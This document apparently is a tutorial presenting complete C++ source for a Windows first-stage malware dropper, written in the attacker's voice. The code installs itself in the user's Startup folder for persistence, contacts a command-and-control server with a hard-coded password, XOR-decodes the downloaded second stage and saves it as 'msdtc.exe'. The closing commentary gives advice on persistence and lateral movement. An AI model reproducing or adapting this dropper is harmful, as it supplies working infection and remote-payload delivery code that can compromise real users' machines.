This code is an example of a Stage 0 (or 1) malware written in C++ for the Windows operation system. It could be attached to various exploits, other payloads, or standalone.
A tool such as this would likely show up at the beginning of a campaign. End stage campaigns may also find a tool like this useful for transportation of code between hosts.
int APIENTRY _tWinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int cmdShow)
{
DWORD retInstallVirus = InstallVirus();
if (!retInstallVirus)
{
Sleep(30000 * (rand() % 30000));
DWORD retDownloadStage2 = DownloadSecondStage();
while (retDownloadStage2)
{
Sleep(300000);
retDownloadStage2 = DownloadSecondStage();
}
}
return 0;
}
Goal: Move ourselves to a different directory for persistence. Only run the second stage after a reboot.
What are we: We are an executable that somehow became executed on a system. Could be a standalone payload or changed to the payload in a sophisticated exploit with a few tweaks.
Contingencies: Try to install ourselves (this payload) immediately for persistence, and try to pull down our later stage after no wait to 15 minutes.
Let us begin…
#include "stdafx.h"
//
// Returns 0 if the virus already installed.
//
DWORD InstallVirus()
{
TCHAR ourFilename[MAX_PATH];
TCHAR new_filename[MAX_PATH];
TCHAR relativeTargetDirectory[MAX_PATH] = _T("\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\");
int end = 0;
GetModuleFileName(0, ourFilename, MAX_PATH * sizeof(TCHAR));
// Copy to AppRoaming folder.
TCHAR* rawFilename = _tcsrchr(ourFilename, _T('\\')) + 1;
TCHAR user_directory[MAX_PATH];
SHGetFolderPath(NULL, CSIDL_PROFILE, NULL, 0, user_directory);
_tcscpy_s(new_filename, user_directory);
_tcscat_s(new_filename, relativeTargetDirectory);
_tcscat_s(new_filename, rawFilename);
// Check if our file already exists.
FILE* testFile = _tfopen(new_filename, _T("rb"));
if (testFile)
return 0;
size_t fileSize;
FILE* fp = _tfopen(ourFilename, _T("rb"));
if (!fp)
{
return -2;
}
fseek(fp, 0, SEEK_END);
fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
char* fileBuffer = new char[fileSize];
if (fread(fileBuffer, sizeof(char), fileSize, fp) != fileSize)
{
return -3;
}
FILE* copiedFile = _tfopen(new_filename, _T("wb"));
if (!copiedFile)
return -4;
fwrite(fileBuffer, sizeof(char), fileSize, copiedFile);
fclose(copiedFile);
return 1;
}
This function reads the contents of ourselves and writes it to the persistence location (C:\\Users\\<user_name>\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\)
This ensures we run every time the system starts.
Extra: Double slashes are for the escape, in case you were confused.
/* If our key matches what server expects it will send us the following struct:
typedef struct
{
char magic[4]; // "abcd"
uint32_t payload_size;
byte xor_key;
char payload[payload_size];
} server_rsp;
*/
//
// Returns 0 on successfully downloading.
//
DWORD DownloadSecondStage()
{
// Virus is already installed.
HINTERNET hOpen = InternetOpen( NULL,
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
NULL,
0);
if (!hOpen)
return -1;
HINTERNET hUrl = InternetConnect(hOpen,
_T("site.com"),
80,
NULL,
NULL,
INTERNET_SERVICE_HTTP,
INTERNET_FLAG_PRAGMA_NOCACHE,
NULL);
if (!hUrl)
return -2;
HINTERNET hRequest = HttpOpenRequest(hUrl,
_T("POST"),
_T("/"),
NULL,
NULL,
NULL,
NULL,
NULL);
if (!hRequest)
return -3;
BOOL bRequest = HttpSendRequest(hRequest,
_T("Content-Type: application/x-www-form-urlencoded"),
_tcslen(_T("Content-Type: application/x-www-form-urlencoded")),
"password=1234567890",
strlen("password=1234567890"));
// Read the first two members of structure.
DWORD numBytesRead = 0;
DWORD numAvailable = 0;
char* huge_buffer;
// We must use the heap, because the stack can only hold
// around 0.5 mb.
huge_buffer = new char[10485760]();
numBytesRead = 0;
numAvailable = 0;
memset(huge_buffer, 0, sizeof(huge_buffer));
while (InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0) && numAvailable)
{
InternetReadFile(hRequest, huge_buffer + numBytesRead, numAvailable, &numBytesRead);
}
if (!InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0))
{
delete [] huge_buffer;
return -4;
}
if (numBytesRead < 9) // Initial header size
{
delete [] huge_buffer;
return -5;
}
if (*(huge_buffer + 0) != 'a' ||
*(huge_buffer + 1) != 'b' ||
*(huge_buffer + 2) != 'c' ||
*(huge_buffer + 3) != 'd')
{
delete [] huge_buffer;
return -6;
}
We send a “password” to the Command and Control (C2) server to “authenticate” and “authorize” ourselves.
char magic[4]; // “abcd”
uint32_t payload_size;
byte xor_key;
char payload[payload_size];
We check for the structure with starting magic bytes of ‘a’ (0x61), ‘b’ (0x62), ‘c’ (0x63), ‘d’ (0x64). Next is the payload_size, which tells us how big payload is. xor_key is the “decoder” key.
byte hi_byte = huge_buffer[4];
byte mid1_byte = huge_buffer[5];
byte mid2_byte = huge_buffer[6];
byte lo_byte = huge_buffer[7];
int payload_size = (hi_byte << 24) +
(mid1_byte << 16) +
(mid2_byte << 8) +
(lo_byte);
char xor = *(huge_buffer + 8);
for (int i = 0; i < payload_size; i++)
{
if (huge_buffer[9 + i])
if (huge_buffer[9 + i] != xor)
huge_buffer[9 + i] ^= xor;
}
FILE* downloaded_file = _tfopen(_T("msdtc.exe"), _T("wb")); // Make sure this file deletes us when it runs.
if (!downloaded_file)
{
delete [] huge_buffer;
return -7;
}
if (fwrite(huge_buffer + 9, sizeof(char), payload_size, downloaded_file) != payload_size)
{
fclose(downloaded_file);
delete [] huge_buffer;
BOOL bDelete = DeleteFile(_T("msdtc.exe"));
return -8;
}
fclose(downloaded_file);
InternetCloseHandle(hUrl);
InternetCloseHandle(hOpen);
delete [] huge_buffer;
// We are done;
return 0;
}
We save the binary file as “msdtc.exe” in the directory we are executing in.
This is an example of a straight to the point malware for Windows systems new and old. It would likely run in a “stage 0” scenario, as either an encapsulated within the main payload of an initial attack (slight modifications), as a standard Windows executable (EXE/DLL), or as position independent code (PIC) as shellcode (slight modifications).
The file “msdtc.exe”, in this case, would be your long-term solution for persistence and lateral movement. Make sure it’s a good tool and you have several workable solutions for the environment you are targeting.